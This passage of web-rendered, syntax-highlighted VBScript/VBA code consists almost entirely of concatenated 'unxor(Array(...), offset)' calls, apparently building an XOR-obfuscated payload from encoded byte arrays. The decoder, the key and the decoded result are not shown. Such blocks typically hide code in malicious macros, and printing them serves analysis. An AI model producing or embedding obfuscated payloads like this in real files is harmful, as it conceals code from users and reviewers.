punctuation\">,</span> 117<span class=\"token punctuation\">,</span> 148<span class=\"token punctuation\">,</span> 46<span class=\"token punctuation\">,</span> 97<span class=\"token punctuation\">,</span> 158<span class=\"token punctuation\">,</span> 117<span class=\"token punctuation\">,</span> 106<span class=\"token punctuation\">,</span> 143<span class=\"token punctuation\">,</span> 40<span class=\"token punctuation\">,</span> 126<span class=\"token punctuation\">,</span> 199<span class=\"token punctuation\">,</span> 26<span class=\"token punctuation\">,</span> 83<span class=\"token punctuation\">,</span> 196<span class=\"token punctuation\">,</span> 211<span class=\"token punctuation\">,</span> 16<span class=\"token punctuation\">,</span> 152<span class=\"token punctuation\">,</span> 203<span class=\"token punctuation\">,</span> 123<span class=\"token punctuation\">,</span> 22<span class=\"token punctuation\">,</span> 248<span class=\"token punctuation\">,</span> 60<span class=\"token punctuation\">,</span> 127<span class=\"token punctuation\">,</span> 38<span class=\"token punctuation\">,</span> 179<span class=\"token punctuation\">,</span> 12<span class=\"token punctuation\">,</span> 140<span class=\"token punctuation\">,</span> 170<span class=\"token punctuation\">,</span> 29<span class=\"token punctuation\">,</span> 148<span class=\"token punctuation\">,</span> 133<span class=\"token punctuation\">,</span> 77<span class=\"token punctuation\">,</span> 82<span class=\"token punctuation\">,</span> 213<span class=\"token punctuation\">,</span> 53<span class=\"token punctuation\">,</span> 92<span class=\"token punctuation\">,</span> 146<span class=\"token punctuation\">,</span> 151<span class=\"token punctuation\">,</span> 236<span class=\"token punctuation\">,</span> 151<span class=\"token punctuation\">,</span> 74<span class=\"token punctuation\">,</span> 37<span class=\"token punctuation\">,</span> 118<span class=\"token punctuation\">,</span> 16<span class=\"token punctuation\">,</span> 28<span class=\"token punctuation\">,</span> 157<span class=\"token punctuation\">,</span> 49<span class=\"token punctuation\">,</span> 18<span class=\"token punctuation\">,</span> 131<span class=\"token punctuation\">,</span> 195<span class=\"token punctuation\">,</span> 167<span class=\"token punctuation\">,</span> 133<span class=\"token punctuation\">,</span> 54<span class=\"token punctuation\">,</span> 214<span class=\"token punctuation\">,</span> 12<span class=\"token punctuation\">,</span> 248<span class=\"token punctuation\">,</span> 32<span class=\"token punctuation\">,</span> 108<span class=\"token punctuation\">,</span> 36<span class=\"token punctuation\">,</span> 131<span class=\"token punctuation\">,</span> 65<span class=\"token punctuation\">,</span> 250<span class=\"token punctuation\">,</span> 97<span class=\"token punctuation\">,</span> 12<span class=\"token punctuation\">,</span> 26<span class=\"token punctuation\">,</span> 10<span class=\"token punctuation\">,</span> 182<span class=\"token punctuation\">,</span> 16<span class=\"token punctuation\">,</span> 34<span class=\"token punctuation\">,</span> 15<span class=\"token punctuation\">,</span> 10<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> 333<span class=\"token punctuation\">)</span> &amp; _\nunxor<span class=\"token punctuation\">(</span>Array<span class=\"token punctuation\">(</span>81<span class=\"token punctuation\">,</span> 75<span class=\"token punctuation\">,</span> 148<span class=\"token punctuation\">,</span> 28<span class=\"token punctuation\">,</span> 3<span class=\"token punctuation\">,</span> 254<span class=\"token punctuation\">,</span> 84<span class=\"token punctuation\">,</span> 127<span class=\"token punctuation\">,</span> 57<span class=\"token punctuation\">,</span> 78<span class=\"token punctuation\">,</span> 30<span class=\"token punctuation\">,</span> 146<span class=\"token punctuation\">,</span> 239<span class=\"token punctuation\">,</span> 82<span class=\"token punctuation\">,</span> 115<span class=\"token punctuation\">,</span> 175<span class=\"token punctuation\">,</span> 20<span class=\"token punctuation\">,</span> 208<span class=\"token punctuation\">,</span> 87<span class=\"token punctuation\">,</span> 218<span class=\"token punctuation\">,</span> 140<span class=\"token punctuation\">,</span> 50<span class=\"token punctuation\">,</span> 189<span class=\"token punctuation\">,</span> 210<span class=\"token punctuation\">,</span> 111<span class=\"token punctuation\">,</span> 35<span class=\"token punctuation\">,</span> 12<span class=\"token punctuation\">,</span> 128<span class=\"token punctuation\">,</span> 1<span class=\"token punctuation\">,</span> 116<span class=\"token punctuation\">,</span> 208<span class=\"token punctuation\">,</span> 150<span class=\"token punctuation\">,</span> 230<span class=\"token punctuation\">,</span> 88<span class=\"token punctuation\">,</span> 166<span class=\"token punctuation\">,</span> 120<span class=\"token punctuation\">,</span> 35<span class=\"token punctuation\">,</span> 106<span class=\"token punctuation\">,</span> 166<span class=\"token punctuation\">,</span> 121<span class=\"token punctuation\">,</span> 243<span class=\"token punctuation\">,</span> 216<span class=\"token punctuation\">,</span> 251<span class=\"token punctuation\">,</span> 46<span class=\"token punctuation\">,</span> 25<span class=\"token punctuation\">,</span> 196<span class=\"token punctuation\">,</span> 102<span class=\"token punctuation\">,</span> 54<span class=\"token punctuation\">,</span> 130<span class=\"token punctuation\">,</span> 52<span class=\"token punctuation\">,</span> 233<span class=\"token punctuation\">,</span> 123<span class=\"token punctuation\">,</span> 103<span class=\"token punctuation\">,</span> 240<span class=\"token punctuation\">,</span> 146<span class=\"token punctuation\">,</span> 114<span class=\"token punctuation\">,</span> 144<span class=\"token punctuation\">,</span> 49<span class=\"token punctuation\">,</span> 205<span class=\"token punctuation\">,</span> 121<span class=\"token punctuation\">,</span> 89<span class=\"token punctuation\">,</span> 126<span class=\"token punctuation\">,</span> 226<span class=\"token punctuation\">,</span> 239<span class=\"token punctuation\">,</span> 23<span class=\"token punctuation\">,</span> 51<span class=\"token punctuation\">,</span> 71<span class=\"token punctuation\">,</span> 7<span class=\"token punctuation\">,</span> 184<span class=\"token punctuation\">,</span> 111<span class=\"token punctuation\">,</span> 154<span class=\"token punctuation\">,</span> 71<span class=\"token punctuation\">,</span> 39<span class=\"token punctuation\">,</span> 28<span class=\"token punctuation\">,</span> 191<span class=\"token punctuation\">,</span> 99<span class=\"token punctuation\">,</span> 43<span class=\"token punctuation\">,</span> 237<span class=\"token punctuation\">,</span> 59<span class=\"token punctuation\">,</span> 241<span class=\"token punctuation\">,</span> 187<span class=\"token punctuation\">,</span> 84<span class=\"token punctuation\">,</span> 205<span class=\"token punctuation\">,</span> 162<span class=\"token punctuation\">,</span> 82<span class=\"token punctuation\">,</span> 62<span class=\"token punctuation\">,</span> 227<span class=\"token punctuation\">,</span> 183<span class=\"token punctuation\">,</span> 145<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> 422<span class=\"token punctuation\">)</span> &amp; _\nunxor<span class=\"token punctuation\">(</span>Array<span class=\"token punctuation\">(</span>220<span class=\"token punctuation\">,</span> 194<span class=\"token punctuation\">,</span> 134<span class=\"token punctuation\">,</span> 110<span class=\"token punctuation\">,</span> 158<span class=\"token punctuation\">,</span> 136<span class=\"token punctuation\">,</span> 28<span class=\"token punctuation\">,</span> 157<span class=\"token punctuation\">,</span> 6<span class=\"token punctuation\">,</span> 28<span class=\"token punctuation\">,</span> 18<span class=\"token punctuation\">,</span> 29<span class=\"token punctuation\">,</span> 219<span class=\"token punctuation\">,</span> 15<span class=\"token punctuation\">,</span> 42<span class=\"token punctuation\">,</span> 69<span class=\"token punctuation\">,</span> 202<span class=\"token punctuation\">,</span> 26<span class=\"token punctuation\">,</span> 210<span class=\"token punctuation\">,</span> 214<span class=\"token punctuation\">,</span> 48<span class=\"token punctuation\">,</span> 60<span class=\"token punctuation\">,</span> 156<span class=\"token punctuation\">,</span> 210<span class=\"token punctuation\">,</span> 88<span class=\"token punctuation\">,</span> 81<span class=\"token punctuation\">,</span> 191<span class=\"token punctuation\">,</span> 153<span class=\"token punctuation\">,</span> 36<span class=\"token punctuation\">,</span> 72<span class=\"token punctuation\">,</span> 192<span class=\"token punctuation\">,</span> 205<span class=\"token punctuation\">,</span> 71<span class=\"token punctuation\">,</span> 101<span class=\"token punctuation\">,</span> 125<span class=\"token punctuation\">,</span> 96<span class=\"token punctuation\">,</span> 84<span class=\"token punctuation\">,</span> 172<span class=\"token punctuation\">,</span> 113<span class=\"token punctuation\">,</span> 120<span class=\"token punctuation\">,</span> 112<span class=\"token punctuation\">,</span> 252<span class=\"token punctuation\">,</span> 31<span class=\"token punctuation\">,</span> 16<span class=\"token punctuation\">,</span> 92<span class=\"token punctuation\">,</span> 180<span class=\"token punctuation\">,</span> 3<span class=\"token punctuation\">,</span> 4<span class=\"token punctuation\">,</span> 127<span class=\"token punctuation\">,</span> 58<span class=\"token punctuation\">,</span> 214<span class=\"token punctuation\">,</span> 173<span class=\"token punctuation\">,</span> 165<span class=\"token punctuation\">,</span> 31<span class=\"token punctuation\">,</span> 64<span class=\"token punctuation\">,</span> 250<span class=\"token punctuation\">,</span> 139<span class=\"token punctuation\">,</span> 176<span class=\"token punctuation\">,</span> 79<span class=\"token punctuation\">,</span> 89<span class=\"token punctuation\">,</span> 136<span class=\"token punctuation\">,</span> 249<span class=\"token punctuation\">,</span> 48<span class=\"token punctuation\">,</span> 37<span class=\"token punctuation\">,</span> 153<span class=\"token punctuation\">,</span> 201<span class=\"token punctuation\">,</span> 184<span class=\"token punctuation\">,</span> 51<span class=\"token punctuation\">,</span> 155<span class=\"token punctuation\">,</span> 186<span class=\"token punctuation\">,</span> 96<span class=\"token punctuation\">,</span> 121<span class=\"token punctuation\">,</span> 74<span class=\"token punctuation\">,</span> 163<span class=\"token punctuation\">,</span> 28<span class=\"token punctuation\">,</span> 131<span class=\"token punctuation\">,</span> 230<span class=\"token punctuation\">,</span> 74<span class=\"token punctuation\">,</span> 186<span class=\"token punctuation\">,</span> 237<span class=\"token punctuation\">,</span> 17<span class=\"token punctuation\">,</span> 163<span class=\"token punctuation\">,</span> 101<span class=\"token punctuation\">,</span> 17<span class=\"token punctuation\">,</span> 51<span class=\"token punctuation\">,</span> 1<span class=\"token punctuation\">,</span> 78<span class=\"token punctuation\">,</span> 40<span class=\"token punctuation\">,</span> 101<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> 511<span class=\"token punctuation\">)</span> &amp; _\nunxor<span class=\"token punctuation\">(</span>Array<span class=\"token punctuation\">(</span>173<span class=\"token punctuation\">,</span> 96<span class=\"token punctuation\">,</span> 11<span class=\"token punctuation\">,</span> 202<span class=\"token punctuation\">,</span> 44<span class=\"token punctuation\">,</span> 219<span class=\"token punctuation\">,</span> 158<span class=\"token punctuation\">,</span> 69<span class=\"token punctuation\">,</span> 217<span class=\"token punctuation\">,</span> 56<span class=\"token punctuation\">,</span> 179<span class=\"token punctuation\">,</span> 84<span class=\"token punctuation\">,</span> 118<span class=\"token punctuation\">,</span> 152<span class=\"token punctuation\">,</span> 185<span class=\"token punctuation\">,</span> 163<span class=\"token punctuation\">,</span> 20<span class=\"token punctuation\">,</span> 92<span class=\"token punctuation\">,</span> 3<span class=\"token punctuation\">,</span> 211<span class=\"token punctuation\">,</span> 142<span class=\"token punctuation\">,</span> 226<span class=\"token punctuation\">,</span> 92<span class=\"token punctuation\">,</span> 27<span class=\"token punctuation\">,</span> 150<span class=\"token punctuation\">,</span> 191<span class=\"token punctuation\">,</span> 222<span class=\"token punctuation\">,</span> 95<span class=\"token punctuation\">,</span> 105<span class=\"token punctuation\">,</span> 58<span class=\"token punctuation\">,</span> 87<span class=\"token punctuation\">,</span> 200<span class=\"token punctuation\">,</span> 109<span class=\"token punctuation\">,</span> 108<span class=\"token punctuation\">,</span> 90<span class=\"token punctuation\">,</span> 41<span class=\"token punctuation\">,</span> 190<span class=\"token punctuation\">,</span> 252<span class=\"token punctuation\">,</span> 39<span class=\"token punctuation\">,</span> 215<span class=\"token punctuation\">,</span> 215<span class=\"token punctuation\">,</span> 150<span class=\"token punctuation\">,</span> 117<span class=\"token punctuation\">,</span> 140<span class=\"token punctuation\">,</span> 19<span class=\"token punctuation\">,</span> 0<span class=\"token punctuation\">,</span> 206<span class=\"token punctuation\">,</span> 174<span class=\"token punctuation\">,</span> 60<span class=\"token punctuation\">,</span> 83<span class=\"token punctuation\">,</span> 253<span class=\"token punctuation\">,</span> 136<span class=\"token punctuation\">,</span> 153<span class=\"token punctuation\">,</span> 112<span class=\"token punctuation\">,</span> 28<span class=\"token punctuation\">,</span> 55<span class=\"token punctuation\">,</span> 54<span class=\"token punctuation\">,</span> 1<span class=\"token punctuation\">,</span> 131<span class=\"token punctuation\">,</span> 65<span class=\"token punctuation\">,</span> 74<span class=\"token punctuation\">,</span> 92<span class=\"token punctuation\">,</span> 97<span class=\"token punctuation\">,</span> 135<span class=\"token punctuation\">,</span> 64<span class=\"token punctuation\">,</span> 80<span class=\"token punctuation\">,</span> 192<span class=\"token punctuation\">,</span> 181<span class=\"token punctuation\">,</span> 183<span class=\"token punctuation\">,</span> 54<span class=\"token punctuation\">,</span> 130<span class=\"token punctuation\">,</span> 9<span class=\"token punctuation\">,</span> 197<span class=\"token punctuation\">,</span> 65<span class=\"token punctuation\">,</span> 182<span class=\"token punctuation\">,</span> 38<span class=\"token punctuation\">,</span> 196<span class=\"token punctuation\">,</span> 1<span class=\"token punctuation\">,</span> 248<span class=\"token punctuation\">,</span> 217<span class=\"token punctuation\">,</span> 155<span class=\"token punctuation\">,</span> 50<span class=\"token punctuation\">,</span> 57<span class=\"token punctuation\">,</span> 1<span class=\"token punctuation\">,</span> 135<span class=\"token punctuation\">,</span> 114<span class=\"token punctuation\">,</span> 53<span class=\"token punctuation\">,</span> 68<span class=\"token punctuation\">,</span> 126<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> 600<span class=\"token punctuation\">)</span> &amp; _\nunxor<span class=\"token punctuation\">(</span>Array<span class=\"token punctuation\">(</span>246<span class=\"token punctuation\">,</span> 123<span class=\"token punctuation\">,</span> 20<span class=\"token punctuation\">,</span> 204<span class=\"token punctuation\">,</span> 50<span class=\"token punctuation\">,</span> 152<span class=\"token punctuation\">,</span> 85<span class=\"token punctuation\">,</span> 111<span class=\"token punctuation\">,</span> 106<span class=\"token punctuation\">,</span> 210<span class=\"token punctuation\">,</span> 2<span class=\"token punctuation\">,</span> 247<span class=\"token punctuation\">,</span> 48<span class=\"token punctuation\">,</span> 159<span class=\"token punctuation\">,</span> 65<span class=\"token punctuation\">,</span> 255<span class=\"token punctuation\">,</span> 33<span class=\"token punctuation\">,</span> 131<span class=\"token punctuation\">,</span> 91<span class=\"token punctuation\">,</span> 157<span class=\"token punctuation\">,</span> 245<span class=\"token punctuation\">,</span> 204<span class=\"token punctuation\">,</span> 232<span class=\"token punctuation\">,</span> 223<span class=\"token punctuation\">,</span> 23<span class=\"token punctuation\">,</span> 163<span class=\"token punctuation\">,</span> 243<span class=\"token punctuation\">,</span> 109<span class=\"token punctuation\">,</span> 81<span class=\"token punctuation\">,</span> 181<span class=\"token punctuation\">,</span> 198<span class=\"token punctuation\">,</span> 99<span class=\"token punctuation\">,</span> 13<span class=\"token punctuation\">,</span> 150<span class=\"token punctuation\">,</span> 202<span class=\"token punctuation\">,</span> 151<span class=\"token punctuation\">,</span> 133<span class=\"token punctuation\">,</span> 228<span class=\"token punctuation\">,</span> 53<span class=\"token punctuation\">,</span> 192<span class=\"token punctuation\">,</span> 53<span class=\"token punctuation\">,</span> 212<span class=\"token punctuation\">,</span> 255<span class=\"token punctuation\">,</span> 30<span class=\"token punctuation\">,</span> 218<span class=\"token punctuation\">,</span> 222<span class=\"token punctuation\">,</span> 76<span class=\"token punctuation\">,</span> 176<span class=\"token punctuation\">,</span> 230<span class=\"token punctuation\">,</span> 46<span class=\"token punctuation\">,</span> 127<span class=\"token punctuation\">,</span> 0<span class=\"token punctuation\">,</span> 251<span class=\"token punctuation\">,</span> 133<span class=\"token punctuation\">,</span> 0<span class=\"token punctuation\">,</span> 75<span class=\"token punctuation\">,</span> 6<span class=\"token punctuation\">,</span> 98<span class=\"token punctuation\">,</span> 143<span class=\"token punctuation\">,</span> 221<span class=\"token punctuation\">,</span> 135<span class=\"token punctuation\">,</span> 70<span class=\"token punctuation\">,</span> 86<span class=\"token punctuation\">,</span> 153<span class=\"token punctuation\">,</span> 72<span class=\"token punctuation\">,</span> 105<span class=\"token punctuation\">,</span> 167<span class=\"token punctuation\">,</span> 91<span class=\"token punctuation\">,</span> 77<span class=\"token punctuation\">,</span> 86<span class=\"token punctuation\">,</span> 67<span class=\"token punctuation\">,</span> 240<span class=\"token punctuation\">,</span> 157<span class=\"token punctuation\">,</span> 143<span class=\"token punctuation\">,</span> 239<span class=\"token punctuation\">,</span> 49<span class=\"token punctuation\">,</span> 103<span class=\"token punctuation\">,</span> 247<span class=\"token punctuation\">,</span> 44<span class=\"token punctuation\">,</span> 158<span class=\"token punctuation\">,</span> 232<span class=\"token punctuation\">,</span> 23<span class=\"token punctuation\">,</span> 50<span class=\"token punctuation\">,</span> 225<span class=\"token punctuation\">,</span> 15<span class=\"token punctuation\">,</span> 179<span class=\"token punctuation\">,</span> 237<span class=\"token punctuation\">,</span> 94<span class=\"token punctuation\">,</span> 120<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> 689<span class=\"token punctuation\">)</span> &amp; _\nunxor<span class=\"token punctuation\">(</span>Array<span class=\"token punctuation\">(</span>21<span class=\"token punctuation\">,</span> 83<span class=\"token punctuation\">,</span> 142<span class=\"token punctuation\">,</span> 200<span class=\"token punctuation\">,</span> 60<span class=\"token punctuation\">,</span> 47<span class=\"token punctuation\">,</span> 222<span class=\"token punctuation\">,</span> 133<span class=\"token punctuation\">,</span> 241<span class=\"token punctuation\">,</span> 121<span class=\"token punctuation\">,</span> 102<span class=\"token punctuation\">,</span> 78<span class=\"token punctuation\">,</span> 134<span class=\"token punctuation\">,</span> 204<span class=\"token punctuation\">,</span> 252<span class=\"token punctuation\">,</span> 118<span class=\"token punctuation\">,</span> 74<span class=\"token punctuation\">,</span> 8<span class=\"token punctuation\">,</span> 97<span class=\"token punctuation\">,</span> 95<span class=\"token punctuation\">,</span> 138<span class=\"token punctuation\">,</span> 94<span class=\"token punctuation\">,</span> 62<span class=\"token punctuation\">,</span> 159<span class=\"token punctuation\">,</span> 44<span class=\"token punctuation\">,</span> 75<span class=\"token punctuation\">,</span> 147<span class=\"token punctuation\">,</span> 70<span class=\"token punctuation\">,</span> 175<span class=\"token punctuation\">,</span> 185<span class=\"token punctuation\">,</span> 75<span class=\"token punctuation\">,</span> 205<span class=\"token punctuation\">,</span> 218<span class=\"token punctuation\">,</span> 38<span class=\"token punctuation\">,</span> 251<span class=\"token punctuation\">,</span> 211<span class=\"token punctuation\">,</span> 199<span class=\"token punctuation\">,</span> 207<span class=\"token punctuation\">,</span> 11<span class=\"token punctuation\">,</span> 12<span class=\"token punctuation\">,</span> 118<span class=\"token punctuation\">,</span> 242<span class=\"token punctuation\">,</span> 74<span class=\"token punctuation\">,</span> 62<span class=\"token punctuation\">,</span> 19<span class=\"token punctuation\">,</span> 187<span class=\"token punctuation\">,</span> 36<span class=\"token punctuation\">,</span> 239<span class=\"token punctuation\">,</span> 38<span class=\"token punctuation\">,</span> 120<span class=\"token punctuation\">,</span> 58<span class=\"token punctuation\">,</span> 21<span class=\"token punctuation\">,</span> 17<span class=\"token punctuation\">,</span> 110<span class=\"token punctuation\">,</span> 113<span class=\"token punctuation\">,</span> 192<span class=\"token punctuation\">,</span> 57<span class=\"token punctuation\">,</span> 6<span class=\"token punctuation\">,</span> 111<span class=\"token punctuation\">,</span> 168<span class=\"token punctuation\">,</span> 102<span class=\"token punctuation\">,</span> 244<span class=\"token punctuation\">,</span> 147<span class=\"token punctuation\">,</span> 53<span class=\"token punctuation\">,</span> 151<span class=\"token punctuation\">,</span> 47<span class=\"token punctuation\">,</span> 247<span class=\"token punctuation\">,</span> 65<span class=\"token punctuation\">,</span> 123<span class=\"token punctuation\">,</span> 74<span class=\"token punctuation\">,</span> 183<span class=\"token punctuation\">,</span> 87<span class=\"token punctuation\">,</span> 167<span class=\"token punctuation\">,</span> 131<span class=\"token punctuation\">,</span> 236<span class=\"token punctuation\">,</span> 21<span class=\"token punctuation\">,</span> 60<span class=\"token punctuation\">,</span> 168<span class=\"token punctuation\">,</span> 168<span class=\"token punctuation\">,</span> 109<span class=\"token punctuation\">,</span> 249<span class=\"token punctuation\">,</span> 113<span class=\"token punctuation\">,</span> 164<span class=\"token punctuation\">,</span> 208<span class=\"token punctuation\">,</span> 138<span class=\"token punctuation\">,</span> 110<span class=\"token punctuation\">,</span> 252<span class=\"token punctuation\">,</span> 219<span class=\"token punctuation\">,</span> 183<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> 778<span class=\"token punctuation\">)</span> &amp; _\nunxor<span class=\"token punctuation\">(</span>Array<span class=\"token punctuation\">(</span>220<span class=\"token punctuation\">,</span> 77<span class=\"token punctuation\">,</span> 218<span class=\"token punctuation\">,</span> 41<span class=\"token punctuation\">,</span> 229<span class=\"token punctuation\">,</span> 2<span class=\"token punctuation\">,</span> 88<span class=\"token punctuation\">,</span> 252<span class=\"token punctuation\">,</span> 106<span class=\"token punctuation\">,</span> 253<span class=\"token punctuation\">,</span> 236<span class=\"token punctuation\">,</span> 187<span class=\"token punctuation\">,</span> 215<span class=\"token punctuation\">,</span> 59<span class=\"token punctuation\">,</span> 193<span class=\"token punctuation\">,</span> 15<span class=\"token punctuation\">,</span> 32<span class=\"token punctuation\">,</span> 150<span class=\"token punctuation\">,</span> 231<span class=\"token punctuation\">,</span> 159<span class=\"token punctuation\">,</span> 48<span class=\"token punctuation\">,</span> 149<span class=\"token punctuation\">,</span> 160<span class=\"token punctuation\">,</span> 224<span class=\"token punctuation\">,</span> 111<span class=\"token punctuation\">,</span> 182<span class=\"token punctuation\">,</span> 39<span class=\"token punctuation\">,</span> 147<span class=\"token punctuation\">,</span> 118<span class=\"token punctuation\">,</span> 135<span class=\"token punctuation\">,</span> 109<span class=\"token punctuation\">,</span> 38<span class=\"token punctuation\">,</span> 249<span class=\"token punctuation\">,</span> 118<span class=\"token punctuation\">,</span> 63<span class=\"token punctuation\">,</span> 205<span class=\"token punctuation\">,</span> 247<span class=\"token punctuation\">,</span> 94<span class=\"token punctuation\">,</span> 37<span class=\"token punctuation\">,</span> 175<span class=\"token punctuation\">,</span> 100<span class=\"token punctuation\">,</span> 222<span class=\"token punctuation\">,</span> 164<span class=\"token punctuation\">,</span> 108<span class=\"token punctuation\">,</span> 71<span class=\"token punctuation\">,</span> 245<span class=\"token punctuation\">,</span> 42<span class=\"token punctuation\">,</span> 113<span class=\"token punctuation\">,</span> 7<span class=\"token punctuation\">,</span> 181<span class=\"token punctuation\">,</span> 87<span class=\"token punctuation\">,</span> 188<span class=\"token punctuation\">,</span> 28<span class=\"token punctuation\">,</span> 71<span class=\"token punctuation\">,</span> 172<span class=\"token punctuation\">,</span> 75<span class=\"token punctuation\">,</span> 129<span class=\"token punctuation\">,</span> 136<span class=\"token punctuation\">,</span> 82<span class=\"token punctuation\">,</span> 8<span class=\"token punctuation\">,</span> 238<span class=\"token punctuation\">,</span> 65<span class=\"token punctuation\">,</span> 105<span class=\"token punctuation\">,</span> 125<span class=\"token punctuation\">,</span> 243<span class=\"token punctuation\">,</span> 190<span class=\"token punctuation\">,</span> 156<span class=\"token punctuation\">,</span> 168<span class=\"token punctuation\">,</span> 181<span class=\"token punctuation\">,</span> 28<span class=\"token punctuation\">,</span> 153<span class=\"token punctuation\">,</span> 190<span class=\"token punctuation\">,</span> 197<span class=\"token punctuation\">,</span> 25<span class=\"token punctuation\">,</span> 147<span class=\"token punctuation\">,</span> 84<span class=\"token punctuation\">,</span> 135<span class=\"token punctuation\">,</span> 79<span class=\"token punctuation\">,</span> 188<span class=\"token punctuation\">,</span> 11<span class=\"token punctuation\">,</span> 18<span class=\"token punctuation\">,</span> 30<span class=\"token punctuation\">,</span> 138<span class=\"token punctuation\">,</span> 195<span class=\"token punctuation\">,</span> 228<span class=\"token punctuation\">,</span> 177<span class=\"token punctuation\">,</span> 172<span class=\"token punctuation\">,</span> 230<span class=\"token punctuation\">,</span> 163<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> 867<span class=\"token punctuation\">)</span> &amp; _\nunxor<span class=\"token punctuation\">(</span>Array<span class=\"token punctuation\">(</span>116<span class=\"token punctuation\">,</span> 194<span class=\"token punctuation\">,</span> 246<span class=\"token punctuation\">,</span> 44<span class=\"token punctuation\">,</span> 213<span class=\"token punctuation\">,</span> 63<span class=\"token punctuation\">,</span> 75<span class=\"token punctuation\">,</span> 126<span class=\"token punctuation\">,</span> 78<span class=\"token punctuation\">,</span> 201<span class=\"token punctuation\">,</span> 230<span class=\"token punctuation\">,</span> 241<span class=\"token punctuation\">,</span> 205<span class=\"token punctuation\">,</span> 28<span class=\"token punctuation\">,</span> 240<span class=\"token punctuation\">,</span> 125<span class=\"token punctuation\">,</span> 46<span class=\"token punctuation\">,</span> 241<span class=\"token punctuation\">,</span> 50<span class=\"token punctuation\">,</span> 61<span class=\"token punctuation\">,</span> 113<span class=\"token punctuation\">,</span> 118<span class=\"token punctuation\">,</span> 113<span class=\"token punctuation\">,</span> 86<span class=\"token punctuation\">,</span> 190<span class=\"token punctuation\">,</span> 61<span class=\"token punctuation\">,</span> 41<span class=\"token punctuation\">,</span> 156<span class=\"token punctuation\">,</span> 140<span class=\"token punctuation\">,</span> 82<span class=\"token punctuation\">,</span> 85<span class=\"token punctuation\">,</span> 106<span class=\"token punctuation\">,</span> 154<span class=\"token punctuation\">,</span> 150<span class=\"token punctuation\">,</span> 116<span class=\"token punctuation\">,</span> 59<span class=\"token punctuation\">,</span> 37<span class=\"token punctuation\">,</span> 253<span class=\"token punctuation\">,</span> 214<span class=\"token punctuation\">,</span> 245<span class=\"token punctuation\">,</span> 112<span class=\"token punctuation\">,</span> 156<span class=\"token punctuation\">,</span> 68<span class=\"token punctuation\">,</span> 246<span class=\"token punctuation\">,</span> 220<span class=\"token punctuation\">,</span> 182<span class=\"token punctuation\">,</span> 181<span class=\"token punctuation\">,</span> 189<span class=\"token punctuation\">,</span> 58<span class=\"token punctuation\">,</span> 225<span class=\"token punctuation\">,</span> 9<span class=\"token punctuation\">,</span> 164<span class=\"token punctuation\">,</span> 170<span class=\"token punctuation\">,</span> 238<span class=\"token punctuation\">,</span> 237<span class=\"token punctuation\">,</span> 86<span class=\"token punctuation\">,</span> 187<span class=\"token punctuation\">,</span> 55<span class=\"token punctuation\">,</span> 95<span class=\"token punctuation\">,</span> 125<span class=\"token punctuation\">,</span> 41<span class=\"token punctuation\">,</span> 240<span class=\"token punctuation\">,</span> 254<span class=\"token punctuation\">,</span> 175<span class=\"token punctuation\">,</span> 112<span class=\"token punctuation\">,</span> 213<span class=\"token punctuation\">,</span> 7<span class=\"token punctuation\">,</span> 13<span class=\"token punctuation\">,</span> 2<span class=\"token punctuation\">,</span> 246<span class=\"token punctuation\">,</span> 86<span class=\"token punctuation\">,</span> 176<span class=\"token punctuation\">,</span> 29<span class=\"token punctuation\">,</span> 97<span class=\"token punctuation\">,</span> 105<span class=\"token punctuation\">,</span> 229<span class=\"token punctuation\">,</span> 127<span class=\"token punctuation\">,</span> 121<span class=\"token punctuation\">,</span> 158<span class=\"token punctuation\">,</span> 77<span class=\"token punctuation\">,</span> 51<span class=\"token punctuation\">,</span> 32<span class=\"token punctuation\">,</span> 116<span class=\"token punctuation\">,</span> 104<span class=\"token punctuation\">,</span> 213<span class=\"token punctuation\">,</span> 158<span class=\"token punctuation\">,</span> 211<span class=\"token punctuation\">,</span> 231<span class=\"token punctuation\">,</span> 161<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> 956<span class=\"token punctuation\">)</span> &amp; _\nunxor<span class=\"token punctuation\">(</span>Array<span class=\"token punctuation\">(</span>129<span class=\"token punctuation\">,</span> 43<span class=\"token punctuation\">,</span> 134<span class=\"token punctuation\">,</span> 12<span class=\"token punctuation\">,</span> 8<span class=\"token punctuation\">,</span> 25<span class=\"token punctuation\">,</span> 228<span class=\"token punctuation\">,</span> 210<span class=\"token punctuation\">,</span> 145<span class=\"token punctuation\">,</span> 230<span class=\"token punctuation\">,</span> 100<span class=\"token punctuation\">,</span> 15<span class=\"token punctuation\">,</span> 197<span class=\"token punctuation\">,</span> 93<span class=\"token punctuation\">,</span> 157<span class=\"token punctuation\">,</span> 207<span class=\"token punctuation\">,</span> 26<span class=\"token punctuation\">,</span> 89<span class=\"token punctuation\">,</span> 220<span class=\"token punctuation\">,</span> 180<span class=\"token punctuation\">,</span> 84<span class=\"token punctuation\">,</span> 164<span class=\"token punctuation\">,</span> 102<span class=\"token punctuation\">,</span> 26<span class=\"token punctuation\">,</span> 249<span class=\"token punctuation\">,</span> 193<span class=\"token punctuation\">,</span> 34<span class=\"token punctuation\">,</span> 39<span class=\"token punctuation\">,</span> 225<span class=\"token punctuation\">,</span> 173<span class=\"token punctuation\">,</span> 136<span class=\"token punctuation\">,</span> 48<span class=\"token punctuation\">,</span> 2<span class=\"token punctuation\">,</span> 189<span class=\"token punctuation\">,</span> 79<span class=\"token punctuation\">,</span> 149<span class=\"token punctuation\">,</span> 126<span class=\"token punctuation\">,</span> 91<span class=\"token punctuation\">,</span> 99<span class=\"token punctuation\">,</span> 100<span class=\"token punctuation\">,</span> 89<span class=\"token punctuation\">,</span> 230<span class=\"token punctuation\">,</span> 239<span class=\"token punctuation\">,</span> 55<span class=\"token punctuation\">,</span> 238<span class=\"token punctuation\">,</span> 118<span class=\"token punctuation\">,</span> 200<span class=\"token punctuation\">,</span> 215<span class=\"token punctuation\">,</span> 212<span class=\"token punctuation\">,</span> 103<span class=\"token punctuation\">,</span> 180<span class=\"token punctuation\">,</span> 29<span class=\"token punctuation\">,</span> 169<span class=\"token punctuation\">,</span> 169<span class=\"token punctuation\">,</span> 86<span class=\"token punctuation\">,</span> 253<span class=\"token punctuation\">,</span> 76<span class=\"token punctuation\">,</span> 43<span class=\"token punctuation\">,</span> 205<span class=\"token punctuation\">,</span> 184<span class=\"token punctuation\">,</span> 10<span class=\"token punctuation\">,</span> 200<span 